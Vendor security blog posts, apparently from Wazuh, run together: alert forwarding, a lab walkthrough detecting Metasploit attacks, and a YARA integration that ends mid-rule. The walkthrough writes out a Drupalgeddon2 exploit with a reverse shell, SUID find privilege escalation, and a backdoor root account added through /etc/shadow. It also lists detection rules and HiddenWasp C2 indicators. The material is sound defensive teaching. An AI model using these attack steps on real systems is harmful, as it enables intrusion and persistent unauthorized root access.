{"message":"{"timestamp":"2020-05-05T12:30:56.803+0000","rule":{"level":3,"description":"Active response: wazuh-telegram.sh - add","id":"607","firedtimes":1,"mail":false,"groups":["ossec","active_response"],"pci_dss":["11.4"],"gdpr":["IV_35.7.d"],"nist_800_53":["SI.4"]},"agent":{"id":"000","name":"localhost.localdomain"},"manager":{"name":"localhost.localdomain"},"id":"1588681856.35276","cluster":{"name":"wazuh","node":"node01"},"full_log":"Tue May  5 12:30:56 UTC 2020 /var/ossec/active-response/bin/wazuh-telegram.sh add - - 1588681856.34552 5502 /var/log/secure - -","decoder":{"name":"ar_log"},"data":{"srcip":"-","id":"1588681856.34552","extra_data":"5502","script":"wazuh-telegram.sh","type":"add"},"location":"/var/ossec/logs/active-responses.log"}"}

Similarly, you can browse the alerts in your datanode:

Hadoop alerts.

Conclusion

The Fluentd forwarder module can be used to send Wazuh alerts to many different tools.

In this case, sending the information to Hadoop’s HDFS enables you to take advantage of big-data analytics and machine learning workflows.

References

If you have any questions about this, join our Slack community channel! Our team and other contributors will help you.

The post Forward alerts with Fluentd appeared first on Wazuh.

Detecting Metasploit attacks

We are going to attack a vulnerable server using Metasploit and then we will see how to use Wazuh to detect various of its attacks. This framework is the most used penetration testing framework in the world. It contains a suite of tools that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade detection.

Introduction

We will simulate a real attack where the attacker uses Metasploit to exploit vulnerabilities in a Linux system and gains root access. Then, we will repeat the attack but this time with Wazuh installed in the vulnerable system.

With this goal, we prepare a small lab with three virtual machines:

  • Victim: The vulnerable machine DC:1 from VulnHub.
  • Attacker: Kali Linux or you can manually install Metasploit in any virtual machine.
  • Wazuh: The Wazuh OVA is the easiest method to setup the Wazuh Manager integrated with the Elastic Stack.

We assume that the virtual machines have been previously installed and that they are in the same network.

Attacking the vulnerable machine

In our attacker virtual machine (Kali), we run the netdiscover command to find information about the network.

[email protected]:/# netdiscover
_____________________________________________________________________________
IP            At MAC Address     Count     Len  MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.110   08:00:27:9b:66:0a      1      60  PCS Systemtechnik GmbH
192.168.1.54    08:00:27:1b:cc:6e      1      60  PCS Systemtechnik GmbH

There are two IP addresses. Let’s scan both with Nmap.

[email protected]:/# nmap -sV 192.168.1.110
Nmap scan report for 192.168.1.110
Host is up (0.00011s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 7.4 (protocol 2.0)
111/tcp open  rpcbind   2-4 (RPC #100000)
443/tcp open  ssl/https

Since port 443 is running, we open the IP in the browser: https://192.168.1.110. When we access, we see the Wazuh WUI, so this is the IP address of our Wazuh virtual machine.

Now, we scan the other IP address:

[email protected]:/# nmap -sV 192.168.1.54
Nmap scan report for 192.168.1.54
Host is up (0.00016s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)

Port 80 HTTP is running, so we open that IP (http://192.168.1.54) in our browser:

Vulnerable Drupal server. Screenshot.

This looks like our target system (DC-1). It is running a Web server with Drupal. Our next step is to check if Metasploit has some available exploit for this CMS.

[email protected]:/# msfconsole
msf5 > search drupal
Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   1  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   4  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   5  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   6  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution

We try one of the most recent and ranked: Drupal Drupalgeddon 2 Forms API Property Injection. This attack exploits the CVE-2018-7600 vulnerability.

msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.1.54
rhosts => 192.168.1.54
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.1.56:4444 
[*] Sending stage (38288 bytes) to 192.168.1.54
[*] Meterpreter session 1 opened (192.168.1.56:4444 -> 192.168.1.54:33698) at 2020-06-09 12:17:42 +0200

meterpreter > sysinfo
Computer    : DC-1
OS          : Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)

The exploit worked successfully and we are login on the server DC-1 with the user www-data. We need a way to gain root privileges. So, we get a reverse shell and spawn a TTY shell using Python.

meterpreter > shell
Process 4222 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'

Then, we try to find files with SUID permission:

[email protected]:/var/www$ find /usr/bin -perm -u=s -type f
find /usr/bin -perm -u=s -type f
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find

There are several binaries with the SUID bit set. Checking this reference, we realized that the find binary can be exploited if the SUID bit is set:

[email protected]:/var/www$ find . -exec /bin/sh ; -quit
find . -exec /bin/sh ; -quit
# whoami
whoami
root

Finally, we have root access. Let’s create another root user to access via SSH easily:

/usr/sbin/useradd -ou 0 -g 0 toor
sed -i 's/toor:!:/toor:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC013gPZhVIX85IZ4RCq4/cVqpO00:/g' /etc/shadow

Now, we can login via SSH with the toor user and root password:

[email protected]:/# ssh [email protected]
[email protected]'s password: 

# bash
[email protected]:/# 

The metasploit attack was successful. We were able to create a root user with permanent access to the virtual machine exploiting a Drupal vulnerability and a wrong permission configuration.

Installing and configuring a Wazuh agent in the vulnerable machine

In this section, we will prepare our Wazuh Manager to detect the previous metasploit attack. Then, we will install a Wazuh agent in the vulnerable machine.

Step 1: Configuring SCA to detect vulnerable versions of Drupal

The exploit that we used works with the following Drupal versions according to the CVE-2018-7600:

  • Before 7.58
  • 8.x before 8.3.9
  • 8.4.x before 8.4.6
  • 8.5.x before 8.5.1

Wazuh is able to detect vulnerabilities in the installed applications using the Vulnerability detector module: the agent collects the list of installed application and they are correlated with vulnerability feeds like the National Vulnerability Database. In our case, since Drupal is installed using a zip file instead of a package, we can’t use the Vulnerability detector module but we can create our SCA policy to check if we have a vulnerable version of Drupal.

Create the SCA policy:

[[email protected] ~]# vi /var/ossec/etc/shared/default/sca_drupal.yaml
# Security Configuration Assessment
# Drupal
​
policy:
  id: "drupal"
  file: "drupal.yml"
  name: "Security checks for Drupal"
  description: "Find vulnerable versions of Drupal"
​
checks:
  - id: 100001
    title: "Drupal Drupalgeddon 2 Forms API Property Injection (CVE-2018-7600)"
    description: "Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations."
    references:
      - https://www.cvedetails.com/cve/CVE-2018-7600/
      - https://nvd.nist.gov/vuln/detail/CVE-2018-7600
      - https://www.rapid7.com/db/modules/exploit/unix/webapp/drupal_drupalgeddon2
    condition: none
    rules:
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && r:p6.d+'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:p7.(d+) compare < 58'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:p8.(d+) compare < 3'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:p8.3.(d+) compare < 9'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:p8.4.(d+) compare < 6'
      - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && n:p8.5.(d+) compare < 1'

Enable the SCA policy in your agents:

[[email protected] ~]# vi /var/ossec/etc/shared/default/agent.conf
<agent_config>
  <sca>
    <enabled>yes</enabled>
    <scan_on_start>yes</scan_on_start>
    <interval>15m</interval>
    <skip_nfs>yes</skip_nfs>
    <policies>
      <policy>/var/ossec/etc/shared/sca_drupal.yaml</policy>
    </policies>
  </sca>
</agent_config>

Step 2: SCA configuration to detect dangerous binaries with SUID bit set

During the metasploit attack, it was possible to gain root access due to the SUID bit set in the find command. We can create an SCA policy to alert about this kind of binaries.

Since some binaries have the SUID bit legitimately, it is necessary to exclude them. We use the default list created by Anon-Exploiter/SUID3NUM.

Create the SCA policy:

[[email protected] ~]# vi /var/ossec/etc/shared/default/sca_systemfiles.yaml
# Security Configuration Assessment
# System files

policy:
  id: "system-files"
  file: "system-files.yml"
  name: "Security checks for system files"
  description: "Analyse system files to find vulnerabilities"

checks:
  - id: 100002
    title: "Dangerous binaries with SUID bit set found"
    description: "Binaries with SUID bit set can result in a root shell."
    condition: none
    rules:
      - 'c:find /usr/bin -perm -u=s -type f -printf "%y:%pn" -> !r:arping|at|bwrap|chfn|chrome-sandbox|chsh|dbus-daemon-launch-helper|dmcrypt-get-device|exim4|fusermount|gpasswd|helper|kismet_capture|lxc-user-nic|mount|mount.cifs|mount.ecryptfs_private|mount.nfs|newgidmap|newgrp|newuidmap|ntfs-3g|passwd|ping|ping6|pkexec|polkit-agent-helper-1|pppd|snap-confine|ssh-keysign|su|sudo|traceroute6.iputils|ubuntu-core-launcher|umount|VBoxHeadless|VBoxNetAdpCtl|VBoxNetDHCP|VBoxNetNAT|VBoxSDL|VBoxVolInfo|VirtualBoxVM|vmware-authd|vmware-user-suid-wrapper|vmware-vmx|vmware-vmx-debug|vmware-vmx-stats|Xorg.wrap|chage|crontab|^"$'

Enable the SCA policy in your agents:

[[email protected] ~]# vi /var/ossec/etc/shared/default/agent.conf
<agent_config>
  <sca>
    <enabled>yes</enabled>
    <scan_on_start>yes</scan_on_start>
    <interval>15m</interval>
    <skip_nfs>yes</skip_nfs>
    <policies>
      <policy>/var/ossec/etc/shared/sca_drupal.yaml</policy>
      <policy>/var/ossec/etc/shared/sca_systemfiles.yaml</policy>
    </policies>
  </sca>
</agent_config>

Step 3: Detecting meterpreter

If we check the list of process running in the vulnerable machine during the metasploit attack, we will see some suspicious processes:

[email protected]:/# ps -eo user,pid,cmd | grep www-data
www-data  4428 sh -c php -r 'eval(base64_decode(Lyo8P3B...));'
www-data  4429 php -r eval(base64_decode(Lyo8P3B...));

Also, we can find an open connection for the 4429 PID:

[email protected]:/# netstat -tunap | grep 4429
tcp        0      0 192.168.1.54:50061      192.168.1.56:4444       ESTABLISHED 4429/php

We can consider that a process trying to evaluate some base64 code is an unusual situation and we should alert about it. So, we are going to run a command that lists the processes in our agents. Then, we will generate an alert if there is any process with the string eval(base64_decode.

Configure the command to list the processes:

[[email protected] ~]# vi /var/ossec/etc/shared/default/agent.conf
<wodle name="command">
    <disabled>no</disabled>
    <tag>ps-list</tag>
    <command>ps -eo user,pid,cmd</command>
    <interval>10s</interval>
    <ignore_output>no</ignore_output>
    <run_on_start>yes</run_on_start>
    <timeout>5</timeout>
</wodle>

Create the rule to detect processes evaluating base64 code:

[[email protected] ~]# vi /var/ossec/etc/rules/local_rules.xml
<group name="wazuh,">
    <rule id="100001" level="0">
        <location>command_ps-list</location>
        <description>List of running process.</description>
        <group>process_monitor,</group>
    </rule>

    <rule id="100002" level="10">
        <if_sid>100001</if_sid>
        <match>eval(base64_decode</match>
        <description>Reverse shell detected.</description>
        <group>process_monitor,attacks</group>
    </rule>
</group>

Step 4: Applying previous changes

Restart the Wazuh manager service to apply the new rules:

[[email protected] ~]# systemctl restart wazuh-manager

Step 5: Installing the Wazuh agent

We recommend restarting the vulnerable machine to remove any trace from the previous metasploit attack.

Access to the vulnerable machine using the toor:root credentials and install the Wazuh agent. In our case, the manager is located in 192.168.1.110 as checked in the previous section.

[email protected]:/# ssh [email protected]
[email protected]'s password: 
# bash
[email protected]:/# curl https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.12.3-1_i386.deb -o wazuh-agent.deb
[email protected]:/# WAZUH_MANAGER="192.168.1.110" dpkg -i wazuh-agent.deb

Since we are configuring our agents remotely from the manager and the configuration contains commands (in SCA and command features), we need to enable the following settings in the agent:

[email protected]:/# echo -e "sca.remote_commands=1nwazuh_command.remote_commands=1" >> /var/ossec/etc/local_internal_options.conf

Finally, restart our agent to apply the changes:

[email protected]:/# service wazuh-agent restart

Detecting the attack with Wazuh

We should see our agent DC-1 (004) Active in the Wazuh WUI:

Wazuh agent overview. Screenshot. Metasploit Attack

Once the agent is running, it will perform the SCA scans for our Drupal and System files policies. Also, the default policies for our agent (CIS benchmark for Debian/Linux 7 L1/L2) will be executed. Check the scan results in the SCA tab of your agent:

SCA (Security Configuration Assessment) overview. Screenshot.

The policies show several checks failing. Let’s review our policies in detail:

System files policy

System file policy. Screenshot. Metasploit Attack

Drupal policy

Drupal policy. Screenshot.

There are two outstanding failed checks (Drupal version and SUID files). Fixing both, we can prevent the metasploit attack.

Now, we repeat the attack described in the first section:

[email protected]:/# msfconsole
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.1.54
rhosts => 192.168.1.54
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.1.56:4444 
[*] Sending stage (38288 bytes) to 192.168.1.54
[*] Meterpreter session 1 opened (192.168.1.56:4444 -> 192.168.1.54:39991) at 2020-06-12 12:08:23 +0200

meterpreter > getpid
Current pid: 7785

The new rules are detecting the meterpreter session:

Rule for meterpreter session. Screenshot. Metasploit Attack

Also, Metasploit generates a log in the Apache server during the exploitation and the Wazuh rule engine is matching the log with the rule Web server 400 error code (ID: 31101), indicating a possible attack.

Finally, if we add another root user as we did in the first metasploit attack, Wazuh will alert about the creation of the user as well as the SSH login:

[email protected]:/# msfconsole
...
meterpreter > shell
Process 8998 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/var/www$ find . -exec /bin/sh ; -quit
find . -exec /bin/sh ; -quit
# /usr/sbin/useradd -ou 0 -g 0 toornew
/usr/sbin/useradd -ou 0 -g 0 toornew
# sed -i 's/toornew:!:/toornew:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC013gPZhVIX85IZ4RCq4/cVqpO00:/g' /etc/shadow
sed -i 's/toornew:!:/toornew:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC013gPZhVIX85IZ4RCq4/cVqpO00:/g' /etc/shadow


[[email protected] ~]# ssh [email protected]

Login rules. Screenshot. Metasploit attacks

Conclusion

Security Configuration Assessment (SCA) allows us to detect attack vectors used by tools like Metasploit. Using a combination of the default CIS policies and custom policies like the ones explained in this post is a key priority to guarantee that our endpoints are hardened properly. Checking these alerts is a daily task. In addition, the command feature along with the log analysis engine allows us to detect a wide variety of attacks.

If you have any questions about Metasploit Attacks, don’t hesitate to check out our documentation to learn more about Wazuh or join our community where our team and contributors will help you.

The post Detecting Metasploit attacks appeared first on Wazuh.

How to integrate YARA with Wazuh

Wazuh can integrate with YARA in different ways. YARA is a versatile Open Source pattern-matching tool aimed to detect malware samples based on rule descriptions, although it is not limited to that use case alone.

This blog post will focus on automatically executing YARA scans by using the active response module when a Wazuh FIM alert is triggered.

This is an interesting way of using YARA as it concentrates the scans on new files or files that change in your environment, thus optimizing resource consumption on the monitored endpoints.

The next diagram illustrates the flow of events between the different components:

YARA integration with Wazuh. Diagram

YARA rules

Rules consist of a set of strings to match and a boolean expression that determines its logic. Each rule starts with the keyword rule followed by an identifier. They are grouped in files that use the .yar extension.

The two most important sections inside a rule definition are:

  • Strings. This section defines the strings used in the rule. Each of them has an identifier consisting of a $ character followed by a sequence of alphanumeric characters and underscores that you can later reference in the condition section. It is optional.
  • Condition. A boolean expression that represents the logic of the rule. It is mandatory.

You can also provide a meta section used to specify comments or additional details about the rule.

This is a sample rule:

rule dummyRule
{
    meta:
       author = "your_author"
    strings:
       $text = "foo"
    condition:
       $text
}

Many resources regarding rule definitions are available on the Internet, including the following:

Strings

YARA offers three types of strings:

  • Hexadecimal. They are used for defining raw sequences of bytes, even allowing for wild-cards, jumps and alternatives.
  • Text. A simple, case-sensitive string. You can apply modifiers that alter the way in which the string will be interpreted.
  • Regular expressions. Perl-like syntax for regular expressions.

Example:

strings:
    $hex_string = { E2 34 ?? C8 A? FB }
    $text_string = "foobar"
    $re_string = /state: (on|off)/

You can read here more about Yara Strings.

Condition

Generally, the condition will refer to previously defined strings by using their identifiers.
They contain the typical boolean and relational operators, but arithmetic and bitwise ones are also available.

Example:

condition:
    $hex_string and ($text_string or $re_string)

You can read here more about conditions.

Note: You can distribute YARA rule files to groups of wazuh agents using the centralized configuration capability.

Wazuh active response

An active response can execute a script when a specific alert, alert level, or rule group is triggered in your Wazuh system. There are two types:

  • Stateful. It can undo the action after a specified period of time.
  • Stateless. It represents a single execution without an event to revert the original effect.

You can also decide where the action will take place:

  • Local. It runs the script on the agent that generated the alert.
  • Server. It runs the script on the Wazuh manager.
  • Defined agent. You can specify the IDs of the agents that will run the script regardless of where the event has been observed.
  • All. Every agent in the environment will run the script. Use with caution.

You can read here more about Wazuh active response.

For this blog post, you will define a stateless type of active response that will be executed locally on the agent that generated the alert.

Wazuh manager configuration

First, you need to tell the manager what is the action that you want to execute and under which circumstances you want it to be triggered. For that, edit the configuration file located at /var/ossec/etc/ossec.conf and add the following:

<ossec_config>
  <command>
    <name>yara</name>
    <executable>yara.sh</executable>
    <expect>filename</expect>
    <extra_args>-yara_path /path/to/yara -yara_rules /path/to/rules</extra_args>
    <timeout_allowed>no</timeout_allowed>
  </command>
  <active-response>
    <command>yara</command>
    <location>local</location>
    <rules_id>550,554</rules_id>
  </active-response>
</ossec_config>

Command

It contains information about the action to be executed on the agent, including its parameters:

  • The name setting uniquely identifies the command, yara.
  • The script in the executable setting, yara.sh.
  • The expect setting lets you specify a field within the alert to pass on to the command. In this case the path to the file that triggered the FIM alert.
  • You also need to specify where the YARA binary and rules are located. For this you can use the extra_args setting.
  • The timeout_allowed setting set to no. This represents a stateless active response.

Active response

It defines the criteria used to execute a specific command:

  • The command to execute. It references the yara command created above.
  • The location setting as local. It means that the active response will be executed on the agent that generates the alert.
  • You can write a list of rule ids that will trigger the active response in the rules_id setting. This example uses rule 550, new file added to the system, and rule 554, file modified in the system.

Rules and decoders

Now you need to define a set of rules and decoders to trigger alerts from the events generated by the YARA active response.

Create a decoder file, for example /var/ossec/etc/decoders/yara_decoders.xml, and add the following:

<!-- 
 - YARA decoders 
 - Created by Wazuh, Inc. 
 - Copyright (C) 2015-2020, Wazuh Inc. 
 - This program is a free software; you can redistribute it and/or modify it under the terms of GPLv2. 
-->

<decoder name="yara">
  <prematch>wazuh-yara: </prematch>
</decoder>

<decoder name="yara">
  <parent>yara</parent>
  <regex offset="after_parent">info: (S+) (.+)</regex>
  <order>yara_rule, file_path</order>
</decoder>

<decoder name="yara">
  <parent>yara</parent>
  <regex offset="after_parent">error: (.+)</regex>
  <order>error_message</order>
</decoder>

Similarly create a rule file, /var/ossec/etc/rules/yara_rules.xml, with the following content:

<!-- 
 - YARA rules 
 - Created by Wazuh, Inc. 
 - Copyright (C) 2015-2020, Wazuh Inc. 
 - This program is a free software; you can redistribute it and/or modify it under the terms of GPLv2. 
-->

<group name="yara,">
    <rule id="100100" level="0">
        <decoded_as>yara</decoded_as>
        <description>YARA rules grouped.</description>
    </rule>

    <rule id="100101" level="5">
        <if_sid>100100</if_sid>
        <field name="error_message">.+</field>
        <description>YARA error detected.</description>
    </rule>

    <rule id="100102" level="10">
        <if_sid>100100</if_sid>
        <field name="yara_rule">.+</field>
        <description>YARA $(yara_rule) detected.</description>
    </rule>
</group>

Wazuh agent configuration

The following section assumes YARA is already installed on the monitored endpoint. You can follow the official installation guide.

The script configured to run as part of the active response settings defined on the Wazuh manager, yara.sh, needs to be placed under /var/ossec/active-response/bin on the Wazuh agent side. Add the following content to it:

#!/bin/bash
# Wazuh - YARA active response
# Copyright (C) 2015-2020, Wazuh Inc.
#
# This program is free software; you can redistribute it
# and/or modify it under the terms of the GNU General Public
# License (version 2) as published by the FSF - Free Software
# Foundation.

#------------------------- Gather parameters -------------------------#

# Static active response parameters
FILENAME=$8
LOCAL=`dirname $0`

# Extra arguments
YARA_PATH=
YARA_RULES=

while [ "$1" != "" ]; do
  case $1 in
    -yara_path)       shift
                      YARA_PATH=$1
                      ;;
    -yara_rules)      shift
                      YARA_RULES=$1
                      ;;
    * )               shift
  esac
  shift
done

# Move to the active response folder
cd $LOCAL
cd ../

# Set LOG_FILE path
PWD=`pwd`
LOG_FILE="${PWD}/../logs/active-responses.log"

#----------------------- Analyze parameters -----------------------#

if [[ ! $YARA_PATH ]] || [[ ! $YARA_RULES ]]
then
    echo "wazuh-yara: error: Yara path and rules parameters are mandatory." >> ${LOG_FILE}
    exit
fi


#------------------------- Main workflow --------------------------#

# Execute YARA scan on the specified filename
yara_output=$(${YARA_PATH}/yara -w -r $YARA_RULES $FILENAME)

if [[ $yara_output != "" ]]
then
    # Iterate every detected rule and append it to the LOG_FILE
    while read -r line; do
        echo "wazuh-yara: info: $line" >> ${LOG_FILE}
    done <<< "$yara_output"
fi

exit 1;

Note: Make sure that the yara.sh file ownership is root:ossec and the permissions are 750.

The script receives:

  • The file path contained in the alert that triggered the active response in the 8th argument.
  • -yara_path. Path to the folder where the Yara executable is located; by default this is usually /usr/local/bin.
  • -yara_rules. File path to the Yara rules file used for the scan.

It uses the parameters above to perform a YARA scan:

# Execute YARA scan on the specified filename
yara_output=$(${YARA_PATH}/yara -w -r $YARA_RULES $FILENAME)

Then it analyzes the output to determine if the scan triggered any YARA rule:

# Iterate every detected rule and append it to the LOG_FILE
while read -r line; do
    echo "wazuh-yara: $line" >> ${LOG_FILE}
done <<< "$yara_output"

For every line in the output, the script will append an event to the active response log, /var/ossec/logs/active-responses.log, with the following format:

wazuh-yara: info: yara_rule file_path

Note: There’s no need to configure the agent to monitor the active response log as it is part of the agent’s default configuration.

Malware detection use case

HiddenWasp is a sophisticated malware that infects Linux systems, used for targeted remote control. Its authors took advantage of various publicly available Open Source malware, such as Mirai and Azazel rootkit.

It has three different components:

  • Deployment script. Initial attack vector.
  • Rootkit. Artifact hiding mechanisms and TCP connection hiding.
  • Trojan. C&C requests.

You can read here a thorough analysis of this malware.

Deployment script

It is typically a bash script that tries to download the malware itself by connecting to an SFTP server. This script even updates the malware if the host was already compromised.

The main IoCs to look for in this component are the IP and files that it copies to the system:

rule HiddenWasp_Deployment
{
    strings:
        $a = "http://103.206.123.13:8080/configUpdate.tar.gz"
        $b = "http://103.206.123.13:8080/configUpdate-32.tar.gz"
        $c = "http://103.206.123.13:8080/system.tar.gz"
        $d = "103.206.123.13"
    condition:
        any of them
}

Rootkit

User-space based rootkit enforced via the LD_PRELOAD Linux mechanism, and delivered as an ET_DYN stripped ELF binary. It tries to hide the trojan part of the malware by cloaking artifacts and TCP connections.

The following YARA rule detects its signature by using hexadecimal strings:

rule HiddenWasp_Rootkit
{
	strings:
		$a1 = { FF D? 89 ?? ?? 83 ?? ?? ?? 0F 84 [0-128] BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D? 48 ?? ?? ?? 48 ?? ?? ?? ?? 74 [0-128] C6 ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? BE ?? ?? ?? ?? }
		$a2 = { 0F 84 [0-128] BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D? }
		$a3 = { 0F B6 ?? 83 ?? ?? 88 ?? 83 [0-128] 8B ?? ?? 3B ?? ?? 0F 82 [0-128] 48 ?? ?? ?? 48 }
		$a4 = { 74 [0-128] C6 ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D? 89 ?? ?? 83 ?? ?? ?? 0F 84 [0-128] BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D? }
		$b0 = { E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 [0-128] C6 ?? ?? ?? ?? ?? ?? FF 7? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 6A ?? FF D? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 [0-128] 83 ?? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF D? 83}
		$b1 = { 83 ?? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 8D ?? ?? 5? FF 7? ?? 6A ?? FF D? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 [0-128] 83 ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF 7? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 8D ?? ?? 5? }
		$b2 = { 8B ?? ?? 8B ?? ?? 29 ?? 89 ?? 8B ?? ?? F7 ?? 21 ?? 23 ?? ?? 85 ?? 74 [0-128] 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 80 3? ?? 75 [0-128] 8B ?? ?? 8B ?? ?? 29}
		$b3 = { 8B ?? ?? 29 ?? 89 ?? 8B ?? ?? F7 ?? 21 ?? 23 ?? ?? 85 ?? 74 [0-128] 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 80 3? ?? 75 [0-128] 8B}
		$b4 = { 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 [0-128] 8B ?? ?? 89 ?? 8D ?? ?? FF 0? 8A ?? 88 ?? ?? 8B ?? ?? 89 ?? 8D ?? ?? FF 0? 8A ?? 88 ?? ?? 80 7? ?? ?? 75 [0-128] 8A ?? ??}
	condition:
		all of ($a*) or all of ($b*)
}

Trojan

Statically linked ELF binary that uses the stdlibc++. Its main goal is to allow the C&C requests sent by the clients that connect to it.

Similarly to the rootkit, this YARA rule contains hexadecimal strings that can detect this component’s binary signature:

rule HiddenWasp_Trojan
{
	strings:
		$a0 = { 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 29 ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 29 ?? ?? 29 ?? ?? 83 ?? ?? 8B ?? ?? 8D ?? ?? 89 [0-128] 83 ?? ?? 0F B7 }
